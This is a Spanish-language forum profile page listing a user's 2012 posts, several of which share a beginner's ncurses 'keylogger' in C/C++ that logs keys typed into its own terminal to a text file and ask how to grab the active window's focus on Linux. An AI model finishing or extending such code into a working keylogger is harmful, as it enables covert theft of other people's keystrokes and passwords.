Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 0xDani

#1271
Ah Ok, no lo habia visto.
#1272
Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux?

Dejo lo que llevo por si a alguien le interesa:

#include <stdio.h>
#include <ncurses.h>

FILE* fichero;

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero);  }
refresh();
}
return 0; }



Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg   -lncurses

Saludos y gracias de antemano ;D
#1273
Gracias por la info, lo intentare compilar asi, y se que no funciona porque en otros keyloggers lo que se hace es que se coge siempre el foco de la ventana actual, y eso el mio no lo hace, pero estaba probando el manejo de ficheros. Y si lo termino lo publicare, dalo por hecho.

Saludos ;D

EDITO:
Ya ha compilado, y he cambiado el codigo un poco, pero no se como hacer que coja el foco de la ventana actual(no me mencionen la API de windows, porfavor).

Dejo el codigo, lo he estado probando y funciona bastante bien, agradeceria que alguien me ayudara con lo del foco.

#include <stdio.h>
#include <ncurses.h>

FILE* fichero;

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero);  }
refresh();
}
return 0; }



PD: Para compilar:  g++ 'ruta/de/la/fuente' -o klg   -lncurses.

Saludos de nuevo ;D
#1274
Programación C/C++ / Re: [C]Resource Dumper.
2 Junio 2012, 15:02 PM
Ah, ok.
#1275
Programación C/C++ / No puedo compilar esto.
2 Junio 2012, 14:58 PM
Hola, veran estoy haciendo el principio de un keylogger, y utilizo las librerias ncurses y fstream, pero al compilar si lo intento con Code::Blocks me saltan errores de 'undefined reference to wgetch' y asi con todas las funciones de la libreria ncurses, y si lo hago por terminal usando -lncurses me sale lo mismo pero con las funciones de fstream. ¿Que puedo hacer? :huh: :huh:

Les dejo el code:

#include <ncurses.h>
#include <fstream>
using namespace std;

char cadena1[250], cadena2[250], cadena3[250];

int kbhit(void)
{
    int ch = getch();

    if (ch != ERR) {
        ungetch(ch);
        return 1;
    } else {
        return 0;
    }
}

int main() {
initscr();
noecho();
nodelay(stdscr, true);
ofstream fs ("string.txt");
while (1){
if (kbhit()){fs << getch();   }
refresh();
}
return 0; }



Saludos y gracias de antemano.
#1276
Si pones el codigo tal vez alguien te ayude.

Saludos ;D
#1277
No tengo muy claro que son los contendores y eso, pero creo que mirare esa pagina a menudo si.
#1278
¿Y por qué no publicais el código? En mi opinión liberar sólo los ejecutables sólo va a fomentar que se pongan a utilizarlo lammers, y el que esté interesado en programación no se va a llevar nada.

Saludos ;D
#1279
Programación C/C++ / Re: [C]Resource Dumper.
1 Junio 2012, 16:09 PM
Y por que se incluye windows.h?
#1280
Espera, L * ultimo. Un puntero a L?Que tipo es ese? Que alguien me lo explique, por favor.

Saludos ;D